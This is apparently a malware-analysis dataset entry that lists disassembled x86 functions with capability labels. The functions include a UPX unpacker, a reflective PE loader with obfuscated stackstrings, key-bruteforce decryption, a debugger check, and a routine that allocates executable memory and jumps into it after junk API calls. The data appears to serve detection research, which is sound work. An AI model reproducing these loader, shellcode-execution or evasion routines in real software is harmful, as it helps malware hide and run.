joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1759740
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1301000]
push edi
jmp 0x175975a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1759761
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1759750
mov eax, 1
add ebx, ebx
jne 0x1759773
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1759784
jne 0x17597a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x17597a3
dec eax
add ebx, ebx
jne 0x1759790
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1759768
add ebx, ebx
jne 0x175979f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x17597f5
xor ecx, ecx
sub eax, 3
jb 0x17597bb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x175982a
sar eax, 1
mov ebp, eax
jmp 0x17597c6
add ebx, ebx
jne 0x17597c6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1759794
inc ecx
add ebx, ebx
jne 0x17597d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1759794
add ebx, ebx
jne 0x17597e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x17597d6
jne 0x17597f2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x17597d6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1759814
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1759806
jmp 0x1759756
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1759814
add edi, ecx
jmp 0x1759756
pop esi
mov edi, esi
mov ecx, 0x3ed3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1759832
cmp byte [edi], 0x11
jne 0x1759832
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1759837
lea edi, [esi + 0x1352000]
mov eax, dword [edi]
or eax, eax
je 0x17598af
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x25da58c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x25da708]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1759864
mov ecx, edi
jns 0x1759893
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x25da70c]
or eax, eax
je 0x17598a9
mov dword [ebx], eax
add ebx, 4
jmp 0x1759881
call dword [esi + 0x25da71c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x17598e0
cmp al, 0xef
ja 0x17598d3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x17598b5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x17598c2
mov ebp, dword [esi + 0x25da710]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1759914
sub esp, 0xffffff80
jmp 0x427dcd
Function at 0x40aa92
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0x3c]
add eax, edx
add eax, 4
add eax, 0x14
lea eax, [eax + 0x60]
add eax, 8
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x118], 0x49
mov byte [ebp - 0x117], 0x6d
mov byte [ebp - 0x116], 0x70
mov byte [ebp - 0x115], 0x6f
mov byte [ebp - 0x114], 0x72
mov byte [ebp - 0x113], 0x74
mov byte [ebp - 0x112], 0x20
mov byte [ebp - 0x111], 0x54
mov byte [ebp - 0x110], 0x61
mov byte [ebp - 0x10f], 0x62
mov byte [ebp - 0x10e], 0x6c
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0x10c], 0x3a
mov byte [ebp - 0x10b], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x40ab67
lea esi, [ebp - 0x14]
mov ecx, 0x14
mov al, 0
mov byte [esi], al
inc esi
dec ecx
jne 0x40ab31
mov ebx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov edi, ebx
mov ecx, 0x14
repe cmpsb byte [esi], byte es:[edi]
je 0x40ab5d
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040ab71
test eax, eax
je 0x40ab67
add ebx, 0x14
jmp 0x40ab3a
popal
mov eax, 1
leave
ret 8
popal
mov eax, 0
leave
ret 8
Function at 0x40ab71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0x40addd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0x40addd
mov eax, 1
test eax, eax
je 0x40addd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x40addd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0x40add3
mov ebx, eax
and eax, 0x80000000
jne 0x40ad4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x40addd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0x40addd
mov eax, 1
test eax, eax
je 0x40addd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x40addd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x40aca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x40addd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0x40ab67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x40addd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x40aca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc
Function at 0x40ae9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0x40afee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x40afee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.0040aff8
test eax, eax
je 0x40afee
add ebx, 0x28
dec ecx
jne 0x40afc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0x40b09e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x40b0c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0x40b12e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x40b0e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0x40b12e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x40b105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0x40b12e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x40b123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0x40b12e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0x40b16b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0x40b172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x40b1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x40b1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x40bdff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.0040bf04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.0040bf20
push edx
push dword [ebp + 0x10]
push eax
call fcn.0040beec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0040bf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0040becb
push ecx
push dword [ebp + 8]
call fcn.0040bf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0040bf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0040becb
push ecx
push dword [ebp + 8]
call fcn.0040bf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0040bf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0040becb
push ecx
push dword [ebp + 8]
call fcn.0040bf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0040bf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0040becb
cmp ecx, 0x2b
jne 0x40be0f
leave
ret 0xc

Function at 0x40d4b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x40d544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x2fc0
push 0
call dword [eax + 0x20]
test eax, eax
je 0x40d5d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x2fc0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x2fc0
call fcn.0040d3fa
push 0x2fc0
push dword [ebp + 0xc]
call fcn.0040b1a8
test eax, eax
jne 0x40d5b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x2fc0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.0040d5dd
test eax, eax
je 0x40d5d6
jmp 0x40d574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x40d5d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x40d60b
Capabilities:
Terminate process

Disassembly:
call fcn.0040d618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x25a89e84
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, 0x25abb85e
call fcn.25aba874
push edi
mov edi, dword [ebp + 8]
push 1
mov eax, edi
call fcn.25a89d92
and dword [ebp - 4], 0
lea eax, [edi + 0x28]
xor ecx, ecx
mov dword [edi], 0x25ae9370
and dword [eax + 2], ecx
mov word [eax], cx
call fcn.25a91c76
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x30], eax
mov eax, edi
pop edi
mov dword fs:[0], ecx
leave
ret 8
Function at 0x25a9724d
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [esp + 8], 2
push ebx
push esi
push edi
jl 0x25a9746c
mov ebx, dword [esp + 0x18]
cmp ebx, 2
jg 0x25a9746c
mov edi, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x25aea41c
push edi
call esi
mov dword [0x25af286c], eax
test eax, eax
je 0x25a9746c
push str.wAjouteEx
push edi
call esi
mov dword [0x25af2868], eax
test eax, eax
je 0x25a9746c
push str.wSoustraitEx
push edi
call esi
mov dword [0x25af2860], eax
test eax, eax
je 0x25a9746c
push str.wMultiplieEx
push edi
call esi
mov dword [0x25af2864], eax
test eax, eax
je 0x25a9746c
push str.wDiviseEx
push edi
call esi
mov dword [0x25af285c], eax
test eax, eax
je 0x25a9746c
push str.wModuloEx
push edi
call esi
mov dword [0x25af2858], eax
test eax, eax
je 0x25a9746c
push str.nComparaisonEx
push edi
call esi
mov dword [0x25af2854], eax
test eax, eax
je 0x25a9746c
push str.nEgaliteEx
push edi
call esi
mov dword [0x25af2850], eax
test eax, eax
je 0x25a9746c
push str.nSuperieurEx
push edi
call esi
mov dword [0x25af284c], eax
test eax, eax
je 0x25a9746c
push str.nInferieurEx
push edi
call esi
mov dword [0x25af2848], eax
test eax, eax
je 0x25a9746c
push str.nPresqueEgalEx
push edi
call esi
mov dword [0x25af2844], eax
test eax, eax
je 0x25a9746c
push str.nSoupleEgalEx
push edi
call esi
mov dword [0x25af2840], eax
test eax, eax
je 0x25a9746c
push str.nCommencePar
push edi
call esi
mov dword [0x25af283c], eax
test eax, eax
je 0x25a9746c
push str.nCommenceParSoupleEx
push edi
call esi
mov dword [0x25af2838], eax
test eax, eax
je 0x25a9746c
push str.nCommenceParTresSoupleEx
push edi
call esi
mov dword [0x25af2834], eax
test eax, eax
je 0x25a9746c
push str.nETLogiqueEx
push edi
call esi
mov dword [0x25af2818], eax
test eax, eax
je 0x25a9746c
push str.nOULogiqueEx
push edi
call esi
mov dword [0x25af2814], eax
test eax, eax
je 0x25a9746c
push str.nNONLogiqueEx
push edi
call esi
mov dword [0x25af2810], eax
test eax, eax
je 0x25a9746c
push str.nNegationEx
push edi
call esi
mov dword [0x25af2830], eax
test eax, eax
je 0x25a9746c
push str.nAdditionEx
push edi
call esi
mov dword [0x25af282c], eax
test eax, eax
je 0x25a9746c
push str.nSoustractionEx
push edi
call esi
mov dword [0x25af2828], eax
test eax, eax
je 0x25a9746c
push str.nMultiplicationEx
push edi
call esi
mov dword [0x25af2824], eax
test eax, eax
je 0x25a9746c
push str.nDivisionEx
push edi
call esi
mov dword [0x25af2820], eax
test eax, eax
je 0x25a9746c
push str.nModuloEx
push edi
call esi
mov dword [0x25af281c], eax
test eax, eax
je 0x25a9746c
mov eax, dword [esp + 0x14]
mov dword [0x25af28b4], eax
xor eax, eax
mov dword [0x25af28b0], edi
mov dword [0x25af28b8], ebx
inc eax
jmp 0x25a9746e
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x25a99094
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
mov esi, eax
call edi
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov dword [ebp - 8], eax
call edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
cmp dword [ebx], 0xffffffff
setne al
push eax
mov eax, esi
call fcn.25a98d9d
pop ecx
test eax, eax
je 0x25a99116
push 1
mov edi, 0x25ae07a0
call fcn.25a9cc3f
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebx]
mov ebx, esi
push 0x6de2
call fcn.25a9cd6c
add esp, 0xc
push dword [ebp + 0xc]
mov eax, esi
push 1
call fcn.25a9cfa1
mov ebx, dword [ebp + 8]
xor eax, eax
cmp dword [ebx], 0xffffffff
pop edi
pop esi
setne al
pop ebx
leave
ret

Function at 0x25ab2fba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x25aefac0]
jne 0x25ab2fc4
repz ret
jmp fcn.25ab76b1
Function at 0x25ab60bf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.25aae453
and dword [ebp - 4], 0
cmp dword [0x25af2450], 0
mov ebx, eax
jne 0x25ab6170
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x25ab6221
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x25ab6221
push eax
call fcn.25aae3e1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x25af2450], eax
call esi
push eax
call fcn.25aae3e1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x25af2454], eax
call esi
push eax
call fcn.25aae3e1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x25af2458], eax
call esi
push eax
call fcn.25aae3e1
pop ecx
mov dword [0x25af2460], eax
test eax, eax
je 0x25ab6170
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.25aae3e1
pop ecx
mov dword [0x25af245c], eax
mov eax, dword [0x25af245c]
cmp eax, ebx
je 0x25ab61c8
cmp dword [0x25af2460], ebx
je 0x25ab61c8
push eax
call fcn.25aae45c
push dword [0x25af2460]
mov esi, eax
call fcn.25aae45c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x25ab61c8
test edi, edi
je 0x25ab61c8
call esi
test eax, eax
je 0x25ab61bf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x25ab61bf
test byte [ebp - 0xc], 1
jne 0x25ab61c8
or dword [ebp + 0x10], 0x200000
jmp 0x25ab6201
mov eax, dword [0x25af2454]
cmp eax, ebx
je 0x25ab6201
push eax
call fcn.25aae45c
pop ecx
test eax, eax
je 0x25ab6201
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x25ab6201
mov eax, dword [0x25af2458]
cmp eax, ebx
je 0x25ab6201
push eax
call fcn.25aae45c
pop ecx
test eax, eax
je 0x25ab6201
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x25af2450]
call fcn.25aae45c
pop ecx
test eax, eax
je 0x25ab6221
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x25ab6223
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011db
Capabilities:
Query environment variable
Set console window title
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x2ef7c04]
mov ecx, dword [0x2ef49fc]
sub esp, 0x94c
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x40128c
mov edi, ecx
mov ebx, eax
cmp dword [0x2ef7c04], 0xae9
jne 0x40127c
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x548]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
lea eax, [ebp - 0x948]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.colenivadehuhejewohij
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push str.ligejimayogusesoludinakedigudetoyehodir
push str.foxexidoxomeyakesiremukawivamihejabehehiluxufisucineberohivoworujezavikunalovebijobacozovu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x148]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call fcn.0040102f
add edi, 8
dec ebx
jne 0x401203
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012f4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x4304cb
call fcn.0042f4d4
sub esp, 0x8b4
push esi
xor esi, esi
cmp dword [0x2ef7c04], 0x20a
push edi
jne 0x4013a0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push 0x929
push 0xea
mov dword [ebp - 4], esi
call fcn.004015fe
push esi
call fcn.00401d3d
add esp, 0xc
push esi
call fcn.00401975
pop ecx
push esi
push esi
push esi
call fcn.00401b0f
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004016c0
fstp st(0)
add esp, 8
or dword [ebp - 4], 0xffffffff
call fcn.004012e0
push 0x438530
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LocalAlloc
push eax
mov dword [0x2ef7bf8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x2ef7bf4], eax
call fcn.004012cc
push 0x40
push 0x1000
push dword [0x2ef7c04]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x2ef49fc], eax
xor edi, edi
cmp edi, 0x50d3e
jge 0x4013f7
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
cmp edi, 0x5a8412d2
jg 0x401408
inc edi
cmp edi, 0x5cb12298
jl 0x4013e6
mov eax, dword [0x4373dc]
mov dword [0x2ef8ff4], eax
call fcn.00401291
xor edi, edi
cmp dword [0x2ef7c04], esi
jbe 0x401449
cmp dword [0x2ef7c04], 0x44
jne 0x401440
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
inc edi
cmp edi, dword [0x2ef7c04]
jb 0x401421
xor edi, edi
mov eax, dword [0x2ef7c04]
add eax, edi
cmp eax, 0x5e
jne 0x401482
push esi
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push esi
lea eax, [ebp - 0x8c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
inc edi
cmp edi, 0x40c893
jl 0x40144b
call fcn.004011db
xor eax, eax
cmp eax, 0x4f06
jne 0x4014a3
add dword [0x2ef49fc], 0
inc eax
cmp eax, 0x8dde13da
jb 0x401492
push 0x7b
pop edi
cmp dword [0x2ef7c04], 0xd
jne 0x4014be
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec edi
jne 0x4014ae
call dword [0x2ef49fc]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x405622
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436410]
jne 0x40562c
repz ret
jmp fcn.0040a7f6